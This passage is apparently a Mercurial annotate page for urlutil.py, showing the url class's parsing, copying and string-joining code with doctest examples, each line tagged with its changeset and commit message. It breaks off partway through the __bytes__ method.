urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
170 self.scheme = b'bundle' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
171 path = path[7:] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
172 if path.startswith(b'//'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
173 path = path[2:] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
174 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
175 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
176 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
177 if self._matchscheme(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
178 parts = path.split(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
179 if parts[0]: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
180 self.scheme, path = parts |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
181 self._localpath = False |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
182 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
183 if not path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
184 path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
185 if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
186 self.path = b'' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
187 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
188 else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
189 if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
190 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
191 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
192 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
193 if parsequery and b'?' in path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
194 path, self.query = path.split(b'?', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
195 if not path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
196 path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
197 if not self.query: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
198 self.query = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
199 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
200 # // is required to specify a host/authority |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
201 if path and path.startswith(b'//'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
202 parts = path[2:].split(b'/', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
203 if len(parts) > 1: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
204 self.host, path = parts |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
205 else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
206 self.host = parts[0] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
207 path = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
208 if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
209 self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
210 # path of file:///d is /d |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
211 # path of file:///d:/ is d:/, not /d:/ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
212 if path and not hasdriveletter(path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
213 path = b'/' + path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
214 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
215 if self.host and b'@' in self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
216 self.user, self.host = self.host.rsplit(b'@', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
217 if b':' in self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
218 self.user, self.passwd = self.user.split(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
219 if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
220 self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
221 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
222 # Don't split on colons in IPv6 addresses without ports |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
223 if ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
224 self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
225 and b':' in self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
226 and not ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
227 self.host.startswith(b'[') and self.host.endswith(b']') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
228 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
229 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
230 self._hostport = self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
231 self.host, self.port = self.host.rsplit(b':', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
232 if not self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
233 self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
234 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
235 if ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
236 self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
237 and self.scheme == b'file' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
238 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
239 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
240 raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
241 _(b'file:// URLs can only refer to localhost') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
242 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
243 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
244 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
245 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
246 # leave the query string escaped |
50646
9e69d9d6f4cf
safehasattr: pass attribute name as string instead of bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
247 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'): |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
248 v = getattr(self, a) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
249 if v is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
250 setattr(self, a, urlreq.unquote(v)) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
251 |
52907
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
252 def copy(self) -> url: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
253 u = url(b'temporary useless value') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
254 u.path = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
255 u.scheme = self.scheme |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
256 u.user = self.user |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
257 u.passwd = self.passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
258 u.host = self.host |
49870
20f262ab6fd3
path: fix `url.copy` dropping the port
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49868
diff
changeset
|
259 u.port = self.port |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
260 u.query = self.query |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
261 u.fragment = self.fragment |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
262 u._localpath = self._localpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
263 u._hostport = self._hostport |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
264 u._origpath = self._origpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
265 return u |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
266 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
267 @encoding.strmethod |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
268 def __repr__(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
269 attrs = [] |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
270 for a in ( |
50920
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
271 'scheme', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
272 'user', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
273 'passwd', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
274 'host', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
275 'port', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
276 'path', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
277 'query', |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
278 'fragment', |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
279 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
280 v = getattr(self, a) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
281 if v is not None: |
50920
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
282 line = b'%s: %r' |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
283 line %= (pycompat.bytestr(a), pycompat.bytestr(v)) |
6ca865080479
remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50715
diff
changeset
|
284 attrs.append(line) |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
285 return b'<url %s>' % b', '.join(attrs) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
286 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
287 def __bytes__(self): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
288 r"""Join the URL's components back into a URL string. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
289 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
290 Examples: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
291 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
292 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
293 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
294 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
295 'http://user:pw@host:80/?foo=bar&baz=42' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
296 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
297 'http://user:pw@host:80/?foo=bar%3dbaz' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
298 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
299 'ssh://user:pw@[::1]:2200//home/joe#' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
300 >>> bytes(url(b'http://localhost:80//')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
301 'http://localhost:80//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
302 >>> bytes(url(b'http://localhost:80/')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
303 'http://localhost:80/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
304 >>> bytes(url(b'http://localhost:80')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
305 'http://localhost:80/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
306 >>> bytes(url(b'bundle:foo')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
307 'bundle:foo' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
308 >>> bytes(url(b'bundle://../foo')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
309 'bundle:../foo' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
310 >>> bytes(url(b'path')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
311 'path' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
312 >>> bytes(url(b'file:///tmp/foo/bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
313 'file:///tmp/foo/bar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
314 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
315 'file:///c:/tmp/foo/bar' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
316 >>> print(url(br'bundle:foo\bar')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
317 bundle:foo\bar |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
318 >>> print(url(br'file:///D:\data\hg')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
319 file:///D:\data\hg |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
320 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
321 if self._localpath: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
322 s = self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
323 if self.scheme == b'bundle': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
324 s = b'bundle:' + s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
325 if self.fragment: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
326 s += b'#' + self.fragment |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
327 return s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
328 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
329 s = self.scheme + b':' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
330 if self.user or self.passwd or self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
331 s += b'//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
332 elif self.scheme and ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
333 not self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
334 or self.path.startswith(b'/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
335 or hasdriveletter(self.path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
336 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
337 s += b'//' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
338 if hasdriveletter(self.path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
339 s += b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
340 if self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
